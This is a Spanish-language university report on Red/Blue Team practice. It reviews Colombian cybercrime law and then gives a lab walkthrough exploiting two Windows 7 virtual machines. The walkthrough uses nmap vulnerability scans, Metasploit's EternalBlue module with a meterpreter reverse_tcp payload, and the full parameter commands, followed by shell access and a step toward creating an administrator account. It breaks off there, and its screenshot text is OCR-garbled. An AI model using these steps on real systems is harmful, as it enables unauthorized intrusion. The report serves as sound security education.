CAPACIDADES TECNICAS, LEGALES Y DE GESTION PARA EQUIPOS
BLUETEAM Y REDTEAM

FERNEY VELANDIA SANCHEZ

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA

FACULTAD DE ESCUELA DE CIENCIAS BASICAS, TECNOLOGIA E
INGENIERIA - ECBTI

ESPECIALIZACION EN SEGURIDAD INFORMATICA
BUCARAMANGA
2022



CAPACIDADES TECNICAS, LEGALES Y DE GESTION PARA EQUIPOS
BLUETEAM Y REDTEAM

FERNEY VELANDIA SANCHEZ

LUIS FERNANDO ZAMBRANO

DIRECTOR DEL SEMINARIO EQUIPOS ESTRATEGICOS EN
CIBERSEGURIDAD: RED TEAM & BLUE TEAM

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA

FACULTAD DE ESCUELA DE CIENCIAS BASICAS, TECNOLOGIA E
INGENIERIA

ESPECIALIZACION EN SEGURIDAD INFORMATICA
BUCARAMANGA
2022



CONTENIDO

GLOSARIO et 6
RESUMEN ... e e e 9
INTRODUGCCION ... .ottt 10
1 OBJIETIVOS ... 11
1.1 OBJETIVO GENERAL .....ooeiii e 11
1.2 OBJETIVOS ESPECIFICOS.....c.ociieieeeeeeeceeee e, 11

2 PROTECCION DE DATOS PERSONALES Y DELITOS INFORMATICOS....12

2.1 LEY 1273 DE 2009 .....cottiiiiiiiiiiiiiiiiii e 12
2.2 LEY 1928 DE 2018......ouiiiiiiiiiiiiiiiiiiii e 13
2.3 PROCESO ILEGAL Y NO ETICO....uiiiiiiiiiiiiiiieiii e 13
2.4 PROCESO ILEGAL LEY 1273 DE 2009......cccvutiiiiiieeeeeeeeeeei e 15
3 PRUEBAS DE INSTRUCCION Y TESTING.....ccoieiieieeeeeeeeeeeee e, 16
3.1 DETECCION Y EXPLOTACION DE LAS VULNERABILIDADES............. 16
4 FALLOS DE SEGURIDAD .....cooiiiiiiiit et 34
4.1 AFECTACIONES DEL ATAQUE ... 34
S5 DETECCION DEL ATAQUE ... ..ot 35
5.1 MEDIDAS DE HARDERIZACION. ......ciiiiiiiiiiiiiiii e 39
B VIDEO ..o 41
CONCLUSIONES ..o 42
RECOMENDACIONES ... 43

BIBLIOGRAFIA L 44



LISTA DE FIGURAS

Figura 1. Detectar puertos Win7-s€2020 ...........ccovviiiiiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeeee e 17
Figura 2. Detectar vulnerabilidades win7-S€2020 ...........cccoeuvviiiiiieeeeeeeiiiie e 18
Figura 3. Detectar puertos Win7-S€2020X64 ...........coeiieeeeeeeeiiiiiiiee e eeeeeeeiiene e 19
Figura 4. Detectar vulnerabilidades win7-se2020X64 ............ccccoeveeeeiieeeeiiiiiiiieeeenn, 20
Figura 5. Explotar vulnerabilidades win7-S€2020............ccccuuuuiiiiiieeeeeeeeiieie e 22
Figura 6. VisualizaCiOn ParametrOS........ccceeeeeeiiiiiiiiiiiie e eeeeeeee e e e 23
Figura 7. Ejecucion de eXplOitS ...........uuiiiiiiiiiiiiieee e 24
Figura 8. Error en Sistema OPEeratiVi ...........coevvviiiiiiiiie e 25
Figura 9. Error en SiStema OPEratiVO.........ccouviviiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeee et 26
Figura 10. Parametros de configuracion ............cccccooiviiiiiiiiiiieee e 27
Figura 11. Parametros de configuracCion ............ccccoooiiiiiiiiiiiiieee e e 28
Figura 12. EJeCUCION @XPIOIS .....ueeiiiiiieieiiiiiieieee et e e e e e 29
Figura 13. Basqueda del ArChiVO ...........oooiiiiiiiiiee e 30
Figura 14. Visualizacion del archivo...............eeeeiiiiiiiiiiiieeeeee e 30
Figura 15. Verificacion de USUAIOS.........cceeeeiiiiiiiiiiieie e eeeeeeeee e e 31
Figura 16. Creacion de usuarios con PriVIlegIOS ........ccceevvviiiiiiiiiiiee e 32
Figura 17. Verificacion grafica de usuario creado...............covvvveiiiiieereeiiiiiiiien e, 33
Figura 18. Herramienta de analisis de red. ...........ccccoeiiiiiiiiiiiiiiiii e 36
Figura 19. Deteccion de vulnerabilidades. ............cccoooiiiiiiiiiiiiii e, 37
Figura 20. Identificacion de conexiones establecidas. ............ccccooeeeeiiiiiiiiiieeneeeenn, 38
Figura 21. Activacion de firewall de WINdOWS. ........cccoooeeiiiiiiiiiiiiiiie e 39
Figura 22. Actualizacion de parches de seguridad. ..........ccccccvvviiiiiiiiiiiiiiiiiiiennnn. 40



LISTA DE TABLAS

Tabla1. Informacidén de maquinas virtuales..................cooiiiiiiiiinne.



GLOSARIO

EXPLOIT: Puede definirse como secuencias de coédigo desarrollado para la
explotar o aprovechar las vulnerabilidades de un sistema informético. Un exploit

puede hacer uso de malware para generar el ataque esperado.!

HARDENING: Es una palabra en ingles el cual tiene por significado endurecimiento,
y en lo relacionado a seguridad informatica consiste en emplear técnicas y métodos
para el aseguramiento de un sistema informéatico con el fin de reducir las
vulnerabilidades. Esto se logra aplicando parches de seguridad, cerrando puertos

no usados entre otros.?

CIBERSEGURIDAD: Tienen como objetivo garantizar la disponibilidad, integridad y
confidencialidad de los sistemas informaticos. Se puede denominar como un
conjunto de acciones encaminadas a la proteccién de toda la infraestructura de los
sistemas informaticos. También se encarga de emplear métodos y técnicas para
prevenir ataques, identificar vulnerabilidades y cualquier otro tipo de amenaza en

contra de los sistemas informativos.3

PARCHE DE SEGURIDAD: Es una modificacién o actualizacién a una aplicacion,
sistema operativo o firmware que corrige aspectos de seguridad que han sido

vulnerados o que representan una amenaza.*

! Latto, N. (2020). Exploits: todo lo que debe saber. Exploits: todo lo que debe saber. [En linea],
Recuperado de: https://www.avast.com/es-es/c-exploits

2 Grupo Smartekh Blog. ¢ QUE ES HARDENING? [En linea], Recuperado de:
https://blog.smartekh.com/que-es-hardening

8 Universidad Europea. (2022) Qué es la ciberseguridad y para qué sirve. [En linea], Recuperado
de: https://universidadeuropea.com/blog/que-es-ciberseguridad/

4 Fernandez, Y. (2020). Parches de seguridad de Windows: que son y como instalarlos [En linea],
Recuperado de: https://www.xataka.com/basics/parches-seguridad-windows-que-como-instalarlos



VULNERABILIDAD INFORMATICA: Se refiere a una falla, debilidad o un error de
un sistema informatico que permite aprovechar por parte de atacante o

ciberdelincuente que tiene la capacidad de emplear métodos para explotarla.®

ATAQUE INFORMATICO: se refiere a acciones que atenten contra sistemas de
informacion que perjudiquen a una persona o una entidad. Estas acciones van
encaminadas a impactar negativamente el buen funcionamiento, alteracion,

destruccién o robo de informacion.®

SMB: Corresponde a las siglas del protocolo de recursos compartidos, por su sigla
traduce servidor de mensajes de bloque cuya funcién es gestionar el acceso a los

recursos compartidos desarrollado desde 1983 desarrollado por IBM.?

EXPLOTACION DE VULNERABILIADAD: Refiere al uso de programas y técnicas
para utilizar las vulnerabilidades como puerta de entrada a los sistemas

informaticos.8

METASPLOIT: Se refiere a un proyecto de seguridad informatica el cual retne una
base de vulnerabilidades de seguridad. Este incluye herramientas antiforense

incluidas en Metasploit framework el cual viene preinstalado en Kali Linux.®

5 Ciset.es. (2022) Hardening [En linea], Recuperado de:
https://www.ciset.es/publicaciones/blog/746-hardening

6 Optica Networks. (2021) Ataques informaticos: Causas, Tipos, Consecuencias y Prevenciones.
[En linea], Recuperado de: https://www.optical.pe/blog/tipos-de-ataques-informaticos-y-previsiones-
para-el-2022/

7 Agne, A. (2022). ¢Qué es SMB y cémo funciona? [En linea], Recuperado de:
https://nordvpn.com/es/blog/protocolo-smb/

8 KeepCoding. (2022). ¢(Qué es la explotacion de vulnerabilidades? [En linea], Recuperado de:
https://keepcoding.io/blog/explotacion-de-vulnerabilidades/#Explotacion_de_vulnerabilidades

9 Imperva.com. (2022). Cyber Security Leader. [En linea], Recuperado de:
https://lwww.imperva.com/learn/application-security/metasploit/



CVE: Es un programa desarrollado por la corporacion MITRE que es financiada por
el departamento de seguridad de EE.UU. La abreviatura refiere a Vulnerabilidades
y explosiones comunes mediante una alfabetizacion de las fallas de seguridad
informética que son de acceso publico. Se identifica mediante un ndmero de

identificacion con el fin de unificar para uso de los demas sistemas.°

ETERNALBLUE: Es un programa o exploit desarrollado para explotar la
vulnerabilidad correspondiente al fallo de seguridad catalogada en la CVE 0144 de

2017, en referencia a la vulnerabilidad sobre el protocolo SMB.!

SEGURIDAD INFORMATICA: Es una disciplina de la seguridad que se enfoca en
la proteccién de los sistemas informaticos en contra de amenazas internas y
externas tales como ataques informaticos, virus, fallos de seguridad, e incluso

errores humanos.1?

CIBERATAQUE: Corresponde a actos catalogados como delictivos que intentan
robar o utilizar sistemas informaticos para lanzar ataques que generen mala
operacion de los sistemas informaticos. Existen varios tipos de ciberataques, entre

lo mas conocidos los malware, phishing, de denegacién de servicio, entre otros.*3

10 cve-website. (2022) Acerca del programa. [En linea], Recuperado de: CVE.
https://www.cve.org/About/Overview

11 KeepCoding Tech School. (2022) (Qué es EternalBlue? [En linea], Recuperado de:
https://keepcoding.io/blog/que-es-eternalblue/

12 Martin, E. (2022). ¢ Qué es la seguridad informatica y cémo implementarla? [En linea], Recuperado
de: Presentacion. https://www.grupocibernos.com/blog/que-es-la-seguridad-informatica-y-como-
implementarla

13 Jimenez, Monica. (2022). Ataques cibernéticos: causas, tipos y consecuencias. Software de
Gestion de Riesgos Empresariales. [En linea], Recuperado de:
https://lwww.piranirisk.com/es/blog/ataques-ciberneticos-causas-y-consecuencias



RESUMEN

EL presente documento consolida mediante un informe técnico aspectos relevantes
ejecutados y desarrollados durante el seminario Especializado denominado Equipos
estratégicos en Ciberseguridad red Team y Blue Team, en donde se abordaron
diferentes temas como leyes que rigen frente al tema de delitos informaticos y un

laboratorio que ejemplifica la deteccion y contencién de un ciberataque.

Dentro del laboratorio ejecutado, se plasmé mediante el uso de gréaficas y su debida
explicacion, el paso a paso de la deteccion de las vulnerabilidades que permitieron
al atacante vulnerar los sistemas informaticos. Una vez identificadas se procedio
a realizar los test de explotacion mediante el uso de herramientas especializadas

siendo satisfactorio la ejecucion.

Posterior a ello, se analizaron y documentaron las medidas que mitigaria dichas
vulnerabilidades, apoyados en los parches de seguridad ofrecidos por el fabricante,

para el caso la compafia Microsoft.

PALABRAS CLAVES: Ciberseguridad, delitos informéticos, Red Team y Blue

Team, sistemas informaticos, vulnerabilidades.



INTRODUCCION

La informacion representada como unos de los activos mas importantes no solo de
las organizaciones, dado que también aplica para las personas naturales,
representa a diario un interés para los ciberdelincuentes, que estan innovando en
mejoras para las deteccion y explotacion de las vulnerabilidades de los sistemas,
asi como el uso de ingenieria social para obtener y aprovechar de manera ilicita el

acceso a sistemas de informacion.

Es por ello que diferentes ramas de la seguridad se esfuerzan en mejoras los
mecanismos de deteccion y mitigacion de riesgos representados por las
vulnerabilidades de los sistemas informaticos. También diferentes organizaciones
invierten recursos para desarrollar programas que permitan un trabajo en conjunto
por diferentes organizaciones que cooperan en intensificar los esfuerzos por

proteger y mejorar los actuales sistemas de seguridad informatica.

El presente documento presenta un laboratorio realizado que proporciona
conocimiento y técnicas mediante el uso de herramientas que permiten la
identificacion y explotacion de vulnerabilidades con la finalidad de fortalecer los

conocimientos en endurecimiento de los sistemas informaticos.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Elaborar un documento a partir del marco legal, metodologias y procesos técnicos
utilizados en los equipos Red Team y Blue Team para conocer su desempefio
dentro de una organizacion.

1.2  OBJETIVOS ESPECIFICOS

e Conocer el marco legal y ético que rigen en la ley Colombia referente a delitos

informaticos para ser tenido en cuentas por los equipos Red & Blue Team.
e Determinar herramientas y metodologias que apoyen los procesos de
equipos Red Team y Blue Team para detectar vulnerabilidades y fallos de

seguridad.

e Aplicar y verificar mecanismos de contencion de ataques para la sanear los

fallos de seguridad identificados por el equipo Red Team y Blue Team.

11



2 PROTECCION DE DATOS PERSONALES Y DELITOS INFORMATICOS.

2.1 LEY 1273 DE 2009

Esta ley se cre6 el 5 de enero de 2009, y va dirigido a la proteccién de la informacion

y los datos, enfocada en la seguridad de forma integral de los sistemas informéaticos.

En su primer capitulo contempla los atentados contra la seguridad de la informacion
de los datos y de los sistemas informéticos, describe el delito de intrusiéon a un
sistema informatico denominandolo acceso abusivo, a todo acto de ingreso sin
autorizacion a un sistema informatico el cual se encuentre o no protegido, el cual

emite condena de prisién y multa en salarios.

En su siguiente articulo describe las acciones empleadas para interrumpir el
funcionamiento normal de un sistema con la finalidad de conseguir algun beneficio
denominandolo Obstaculizacién llegitima. Generalmente este ataque puede
denominarse como ataque de denegacion de servicios. También se refiere cuando
un delincuente accede o intenta a un sistema con la finalidad de extraer informacion
o0 interceptar como emite su nombre el articulo, y se refiere a ataques de “Man in
the middle”, en el cual lo ciberdelincuentes interceptan la red para robo de

informacion.

Expresa unos de los dafios mas comunes en cuanto delitos informéaticos, que es el
de dafios como borrar, destruir, suprimir entre otros y no solo a archivos o a
aplicaciones, sino que también a cualquier elemento légico o fisico que haga parte
de algun sistema. También describe y penaliza delitos como el uso de software

malicioso, entre los mas comunes malware, gusanos o troyano.

Contempla también la violacion en cuanto divulgar o vender informacion que no es
de su propiedad, y que no esté autorizado para ello. También refiere a la propiedad

intelectual o intimidad de las personas. También expresa lo relacionado al comun

12



fishing, siendo unos de los ataques mas famosos para los temas de ingenieria

social, describiéndolo como suplantacién de sitios web.**

2.2 LEY 1928 DE 2018

Esta ley aprueba convenio adoptado en Budapest el 23 de noviembre de 2022

denominado convenio sobre la ciberdelincuencia.

En el capitulo primero expresa las definiciones de términos como sistema
informatico al dispositivo aislado o interconectado que permitan el tratamiento de
datos, también del del término datos informatico y proveedor de servicios entre

otros.

En su segundo capitulo expone los delitos contra la confidencialidad, integridad y
disponibilidad de la informacion, entre los cueles nombra el acceso ilicito,
interceptacion ilicita, interferencia de los datos y los sistemas y el abuso d ellos
dispositivos. También describe los delitos contra sistema informaticos como la

falsificacion y fraude informéatico.

En su tercer capitulo describe los delitos relacionados con la pornografia infantil y

posterior a ellos el capitulo 4 describe los delitos contra la propiedad intelectual.®

2.3 PROCESO ILEGAL Y NO ETICO.

En relacion al caso de estudio, la clausula primera, en referencia a la

confidencialidad expresa que los procesos ilegales dentro de Hackers Security no

14 Policia.gov.co (2022). Normatividad sobre delitos informaticos. [En linea], Recuperado de:
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos

15 Corteconstitucional.gov.co. (2022). Convenio sobre la Ciberdelincuencia. [En linea], Recuperado
de: https://lwww.corteconstitucional.gov.co/relatoria/2019/C-224-19.htm
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podran ser divulgados a autoridades legales. Esto van en contra de los principios
éticos y legales expuestos en el articulo 67 del codigo de procedimiento penal el
cual establece que al conocer algun delito debo denunciar antes las autoridades. Es
decir, ningun acuerdo debe ir en contra de lo estipulado por la ley colombiana, por
ende, la labor del abogado quien realizo el contrato, deja ver las claras intenciones
de realizar actividades ilicitas por parte Hacker Security, o por lo menos eso refleja

en el acuerdo.

Por su parte también hay principios que aplican a la ingenieria, que obligan a los
profesionales el denunciar todo acto delictivo al cual tenga conocimiento. COPNIA
como entidad reguladora de ingenierias establece en su cédigo de ética en el
articulo 31 del capitulo 2, el cual establece en los encisos f y g, puntualizando la
obligacion a denunciar actos delictivos en ejercicio de la profesion. Esto va en contra
de lo expresado en el acuerdo, por ende, vemos un acto muy claro de actividad en
contra de los principios y leyes como se habia expresado anteriormente.

También expresa en la Segunda clausula en lo relacionado a informacién
confidencial, ademas de la informacibn normal que se revisa producto de la
actividad, expresado como datos secretos. Llama la atencion porque refiere a datos
de interceptacion, chuzadas y accesos no autorizados a sistemas informaticos.
Cuando observamos esta redaccion en el acuerdo, refleja una clara intencién de
ejecutar actividades ilicitas y que son penalizadas por la ley colombiana, expresados
en laley 1273 de 2009, puntualmente en sus articulos 2692, 269C, que refiere a los
accesos sin autorizacion a sistemas informaticos y también en lo referente a la

interceptacion a sistemas informéticos.

También en la Cuarta clausula, en lo referente a obligaciones de la parte receptora
vuelve a expresar como obligacion de no denunciar en lo referente a informacion
ilegal, lo cual va en contra como antes se ha mencionado. También hace
responsable a la parte receptora de responder antes las autoridades en un caso de

allanamiento al encontrar informacion en su poder.

14



2.4 PROCESO ILEGAL LEY 1273 DE 2009

En relacion al acuerdo presentado por el anexo, los articulos de la ley 1273 de 2009

que vulneran dicho acuerdo son:

Articulo 269A. En relacion a acceso abusivos a sistemas informaticos, el acuerdo
en su Segunda clausula expresa que la informacion confidencial para el acuerdo
podra ser informacion producto de acceso abusivos a sistemas informaticos. Esto
ya representa un delito que la entidad Hackers Security pasa por alto, sin contemplar
lo expresado en la ley colombiana, perjudicando de manera directa a la persona que
firme ese acuerdo al hacerlo responsable de la informacién que obtenga no
importando el medio de conseguirla.

Articulo 269C. En lo referente a Interceptacién sin orden judicial a un sistema
informatico, sobre la misma clausula segunda expresada anteriormente, refiere a
informacion confidencial que se obtenga producto de datos de chuzadas o
interceptacién de informacion, violando toda ley y haciendo responsable a quien

firme el presente acuerdo.

Cabe resaltar que la violacién de estos articulos, representan penas de 48 hasta 96
meses en lo referente a acceso abusivo a sistemas informéticos y penas desde 36

hasta 72 meses en lo relacionado a interceptacion de datos informéticos.®

16 Policia.gov.co (2022). Normatividad sobre delitos informaticos. [En linea], Recuperado de:
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
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3 PRUEBAS DE INSTRUCCION Y TESTING.

A continuacion, se muestra resumen de direccionamientos Ip de las maquinas

virtuales usadas en el laboratorio.

Tablal. Informacién de maquinas virtuales.

Maquina Virtual | Direccion IP Mascara Puerta de Enlace
Kali - Seminario 192.168.1.10 255.255.255.0 192.168.1.1
Win7-SE2020 192.168.1.11 255.255.255.0 192.168.1.1
Win7-SE2020-X64 | 192.168.1.12 255.255.255.0 192.168.1.1

3.1 DETECCION Y EXPLOTACION DE LAS VULNERABILIDADES.

NMAP es una herramienta el cual viene instalada en la suite de Kali Linux, mediante
su uso permitié la deteccion de las maquinas virtuales Windows 7, al igual que la
identificacion de servicios activos y expuestos mediante la deteccion de los puestos

activos.t’

A continuacion, se describen los pasos para la deteccion de fuga de informacion e
identificacion de vulnerabilidades en el escenario propuesto segun el Anexo.

3.1.1 Deteccién de Vulnerabilidades en Win7-SE2020

Como primera media se verifica los puertos y servicios expuestos en la maquina

Windows 7 de 32 Bits. Mediante el comando Nmap 192.168.1.11, se puede observar

7 Nmap.org. Guia de referencia de Nmap. [En linea], Recuperado de:
https://nmap.org/man/es/index.html

16



diferentes servicios expuestos como http (80), Recursos compartidos (445) entre los
mas conocidos. Con esto nos da indicio que el fallo de seguridad puede estar
perpetrandose por medio del puerto 445 en los cuales en algunos casos si no esta
corregido, permite la ejecucion de codigo remoto.

,Q [ - -’:’ -.‘ [E Terminalnro.1 [E] estudiante@seminario: ... 1020PM O ) A ©

Papelera

estudiante@seminario: ~/Escritorio

E Archivo Acciones Editar Vista Ayuda

Sistema de
archivos

f

Carpeta
personal

©

Navegador
web

Figura 1. Detectar puertos

A partir de esto, se realiza un escaneo de vulnerabilidades el servidor Win7,
mediante el uso del comando Nmap --script vuln 192.168.1.11. Como resultado

principal se puedo determinar que presenta un fallo de seguridad grave a través de

17



la vulnerabilidad CVE-2017-0143 18, el cual permite ejecucién de cédigo remoto,
visualizado en la siguiente imagen.

;Q | .. [E] Terminalnro. 1 [E] estudiante@seminario: ...

estudiante@seminario: ~/Escritorio

Archivo Acciones Editar Vista Ayuda

49154

le execution vulnerability ex

147

Figura 2. Detectar vulnerabilidades

Con la deteccién de la vulnerabilidad, y segun anexo se verifica que efectivamente

no existe la actualizacion MS17-010 y esto sea la causa de fuga de informacion.

18 INCIBE-CERT. (2017) CVE-2017-0144 [En linea], Recuperado de: https://www.incibe-
cert.es/alerta-temprana/vulnerabilidades/cve-2017-0144
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3.1.2 Detecciéon de Vulnerabilidades en Win7-SE2020-X64

Se procede verifica los puertos y servicios expuestos en la maquina Windows 7 de
64 Bits. Mediante el comando Nmap 192.168.1.12, se puede observar diferentes
servicios expuestos como http (80), Recursos compartidos (445) entre los mas

conocidos.

3 Kali - Seminario [Corriendo] - Oracle VM VirtualBox
Archive Maguina Ver Entrada Dispositivos  Ayuda
b | Nl N | | [E Terminalnro. 1 [El estudiante@seminario: ...

estudiante@seminario: ~/Escritorio

Archivo Acciones Editar Vista Ayuda

Nmap done: 1 IP add

Figura 3. Detectar puertos win7x64
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A partir de esto, se realiza un escaneo de vulnerabilidades el servidor Win7x64,
mediante el uso del comando Nmap --script vuln 192.168.1.12. Como resultado
principal se puedo determinar que presenta un fallo de seguridad grave a través de
la vulnerabilidad CVE-2017-0143, el cual permite ejecucién de codigo remoto,

visualizado en la siguiente figura.

7 Kali - Seminario [Corriendo] - Oracle VM VirtualBox

Archive Maquina Ver Entrada Dispositivos  Ayuda

’Q. | . -IZ\ 1| =] Terminalnro.1 [E] estudiante@seminario: ...

estudiante@seminario: ~fEscritorio

Archivo Acciones Editar Vista Ayuda
49152/tcp

0 debug)
0 debug)

0 debug)

: NT_STATUS

S ACCESS DENIED

Figura 4. Detectar vulnerabilidades win7x64

Esto también permitié determinar que en ambos servidores presentan los mismos

fallos de seguridad, y permiten fugan de informacion.
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3.1.3 Software para explotacion de Vulnerabilidad

Metasploit Framework. Mediante el uso de esta herramienta de codigo abierto que
se encuentra preinstalada en la Suite de Kali Linux, permitié la explotacion de las

vulnerabilidades identificadas anteriormente.1®

3.1.4 Explotacion de la Vulnerabilidad en Win7-SE2020

Para la explotaciéon de la vulnerabilidad MS17-010, accedemos a la herramienta en
la maquina Kali Linux, posterior a ellos mediante el comando “search MS17-010”
obtenemos informacion de cuales exploits estan disponibles para el sistema
operativo Windows 7. Para el ejercicio utilizaremos EternalBlue el cual permite la

ejecucion de cédigo remoto.

Para ello realizamos la ejecucibn mediante el comando “use
exploit/Windows/smb/ms17_010_010_eternalblue” el cual selecciona esta
opcién y nos permitird la explotacion de la vulnerabilidad, como se muestra a

continuacion.

Una vez seleccionado el exploits, se procede a verificar cual payload permite utilizar

y con ello conseguir como buscar y robar informacién en la maquina remota.

19 Metasploit.com. (2022). El marco de prueba de penetracion més utilizado del mundo [En linea],
Recuperado de: https://www.metasploit.com/
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Figura 5. Explotar vulnerabilidades win7

Para ello se utilizard un meterpreter, el cual permite lanzar comandos, para este

escenario mediante el siguiente comando:

e set payload Windows/x64/meterpreter/reverse_tcp

Es de tener presente que la suite de Metasploit contienen ejecucion para maguinas
de 64 bits, y para este escenario es para un sistema operativo de 32 bits, el cual

podria no funcionar o provocar fallos en la maquinas destino.

Se procede a realizar la configuracion de parametros mediante los siguientes

comandos:
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e Set RHOSTS 192.168.1.11 (Maquina a atacar)

e Set RPORT 445 (Puerto de recursos compartidos)
e Set LHOST 192.168.1.10 (Ip Kali Linux)

e Set LPORT 4444 (Puerto saliente Kali Linux)

Luego de ellos verificamos los parametros mediante comando “show options”,

COmo se muestra a continuacion.

2 Kali - Seminario [Corriendo] - Oracle VM VirtualBox

Archive Maquina Ver Entrada Dispositivos  Ayuda

h | - N |:\ - | [E Terminalnro. 1 [estudiante@seminario: ... 10:34 PM
Terminalnro.1 - o x
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f remote

Check if remote 0S matches exploit Target.

se_https):

Figura 6. Visualizacion parametros
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Luego de ello ya podemos lanzar mediante el comando “exploit”. Luego de lanzado
el ataque obtenemos un error de pantalla azul en la maquina destino como se

muestra en la siguiente figura.

Este error fue mencionado en el anexo 4 del escenario propuesto el cual se estaba
presentando en una de la maquinas, Podemos comprobar que se producia en la

maquina Windows 7 con version de 32 Bits.

I " ‘ o 1 1‘ [E Terminalnro. 1 [estudiante@seminario: ... 10:36PM O ) A ©

Terminalnro.1
Archivo Acciones Editar Vista Ayuda ¥ win7-SE2020 [Corriendo] - Oracle VM VirtualBox

Archive Méquina  Ver Entrada Dispositives  Ayuda

Laméquina virtual informa que el SO invitado soporta integracion del raton. Esto significa que no necesita capturar - (%) (5

5 ] @ [E cRLperecHA

>
B & & )= i G @ @) creoerecha

Figura 7. Ejecucion de exploits
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En revision del fallo en el sistema operativo al momento del ataque se investigo los
eventos de Windows en la maquina atacada y se comprobé un error inesperado
debido a un bloqueo o que la maquina dejo de responder como se muestra a

continuacion.

12] Visor de eventos =N NoR =

Archivo  Accion  Ver  Ayuda

ez »EHEE

@ Visor de eventos (local) Sistema  Ndmero de eventos: 2097 () Nuevos eventos disponibles Acciones

» [ Vistas personalizadas
- z Registros de Windows Mivel Fechay hora QOrigen Id. del... Catego.. | | Sistema -~
h =] Aplicacisn (DlInformacién  24/09/2022 07:32:36 a.m.  FilterM... 6 Ninguno [ | Abrirregistro g..
{=] Seguridad ormacién  24/08/2022 07:32:36 a.m.  Service... 7036 Ninguno ¥ Crear vista per..

] Instalacien
f=] Sistema
{=] Eventos reenviados
» [ Registros de aplicaciones y s/
4 Suscripciones

ormacién  24/09/2022 07:32:36 a.m. UserPnp 20010 (7010)
ormacion  24/09/2022 07:32:36 a.m.  Service... 7036 Ninguno
ormacién  24/09/2022 07:32:35 a.m.  Kemel-... 26 (4)
ormacien  24/09/202207:32:35 a.m.  Kernel-.. 26 ) T Filtrar registro ...
ormacién  24/09/2022 07:32:35a.m.  Kernel-... 6 4 [Z] Propiedades
24/09/2022 07:32:35 a.m. 4]

24/09/2022 07:3235 a.m. 8 Buscor.
ormacion  24/09/2022 07:3237 a.m.  EventL.. 6013 Minguno Il Guardar todos .
ormacién  24/09/2022 07:32:37 a.m.  Eventl... 6005 Ninguno Adjuntar tarea ...
ormacién  24/09/2022 07:32:37 am.  EventL... 6009 Minguno Ver N
ormacién  24/09/2022 07:32:34 aam. FilterM... 6 Ninguno

(i) Informacién  24/09/2022 07:32:32 a.m. Kernel-... 12 Ninguno 7

Importar vista ...

Vaciar registro...

Kernel-...

& Actualizar

Evento 41, Kernel-Power x Ayuda »
General | Detalles Evento 41, Kernel-P... &
[Z] Propiedades d...

Se reinicid el sistema sin apagarlo limpiamente primero. Este error puede producirse si el sistema dejé de responder, se bloqued o se @ Adjuntar tarea ...
interrumpid el suministro eléctrico de forma inesperada.

55 Copiar »
[ Guardar event..

(@ Actualizar

Ayuda »
Nombre de registro: ~ Sistema
Origen: Kernel-Power Registrado: 24/09/2022 07:32:35 a.m.
Id. del evento: 41 Categorfa detarea: (63)
Nivel: Critico Palabras clave: 2)
Usuario: SYSTEM Equipo: win7

Cédigo de operacién: Informacién

Mas informacion: Ayuda Registro de eventos

Figura 8. Error en sistema operativo

También verificando en detalle la pantalla azul se gener6 el error
“DRIVER_IRQL_NOT_LESS OR_EQUAL” y el cédigo “STOP: 0x00000000” que
segun foros de Microsoft el sistema se reinicié para protegerse evitando perdida de
datos, debido a que algun software en modo kernel intento acceder a parte de la

memoria y el paginado era mas alto de lo soportado.
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Esto concuerda con la lo indicado anteriormente, de que posiblemente el ataque

fallara al haber diferencia de version de drivers utilizados que para el caso era una

magquina de 32 bits, y se utilizaban fuentes de 64 bits.

A continuacion, se aprecia el error mas claro de la pantalla azul al momento del

ataque.

ﬂ win7-5E2020 [Corriendo] - Qracle VM VirtualBox

Archive Maguina Ver Entrada Dispesitives  Ayuda

A, rlr'nl"ln-m has been detected and windows has

TtTo walr

O 0 Computer.

DRIVER_IRQL_MOT_LESS

is the first time y

If this
& COMpUTer.

Technical information:

s — Address

£ss BES3D1AA base at SESS4000,

dump ...
ash dump ...
ical m
to dis

Figura 9. Error en sistema operativo
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3.1.5 Explotacion de la Vulnerabilidad en Win7-SE2020-x64

Utilizando la misma opcion de EternalBlue se procede a realizar la configuracion de

parametros para realizar el atague a la maquina Windows 7 version de 64 bits,

mediante los siguientes comandos.

set payload Windows/x64/meterpreter/reverse_tcp

set RHOSTS 192.168.1.12 (Maquina a atacar win7 x 64)
set RPORT 445 (Puerto de recursos compartidos)

set LHOST 192.168.1.10 (Ip Kali Linux)

set LPORT 4444 (Puerto saliente Kali Linux)

2 Kali - Seminario [Comiendo] - Oracle VM VirtualBox

Archive Maquina Ver Entrada Dispositives Ayuda

ﬂ; | . [E] Terminal nro. 1

Terminalnre.1
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idows/smb/ms17 010 et

- LPORT 4443

Figura 10. Pardmetros de configuracion
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Luego de ello, se procede a verificar los parametros mediante el comando “show

options”, como se muestra a continuacion.

% Kali - Seminario [Corriendo] - Oracle VM VirtualBox

Archive Maquina Ver Entrada Dispositivos  Ayuda

’g | g [E Terminalnro.1

Terminalnro.1
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Module opt

Name

F remote 0S matche

Figura 11. Pardmetros de configuracion

Luego, se procede a realizar el ataque mediante el comando “exploit”, el cual
iniciara una serie de pasos para intentar accede a la maquina destino y en caso
satisfactorio levantara la consola meterpreter para iniciar la ejecucion de codigo

remoto.
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Figura 12. Ejecucion exploits

Efectivamente el ataque fue exitoso y se puedo acceder a la maquina destino y
mediante el comando Shell accedemos modo comando.

Segun lo informado en el Anexo 4, hubo fuga de informacién mediante un archivo
winse20wO0.exe, para lo cual se procede a realizar una blsqueda en la maquina
destino mediante el comando “dir /s winse20w0.exe” previamente ubicado en la
raiz ¢ del servidor. Como resultado se obtuvo en la ruta “c:\users\semi” como se

visualiza a continuacion.
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Figura 13. Busqueda del Archivo

Luego de ejecutado el archivo se visualiza la siguiente figura.

Terminalnre.1
Archivo Acciones Editar Vista Ayuda

UN
ESPECIA
SEMINARIO

Figura 14. Visualizacién del archivo
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3.1.6 Creacion de usuario con privilegios

Luego de haber ingresado mediante consola a la maquina Windows 7 x64 y segun
lo enunciado en el Anexo 4 se procede a crear un usuario con privilegios de

administrador.

Se verifica primero el estado actual, en el cual se observa solo 2 usuarios: un

invitado y otro llamado usuario.

| = |52, <« Cuentas de usuaric » Administrar cuentas v | #4 ||| Buscaren el Panel de control yel
U
|

| usuario
Administrador
1

| - Invitado
kol La cuenta de invitado esta desactivada

Crear una nueva cuenta

£Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar

@ Configurar Centrol parental

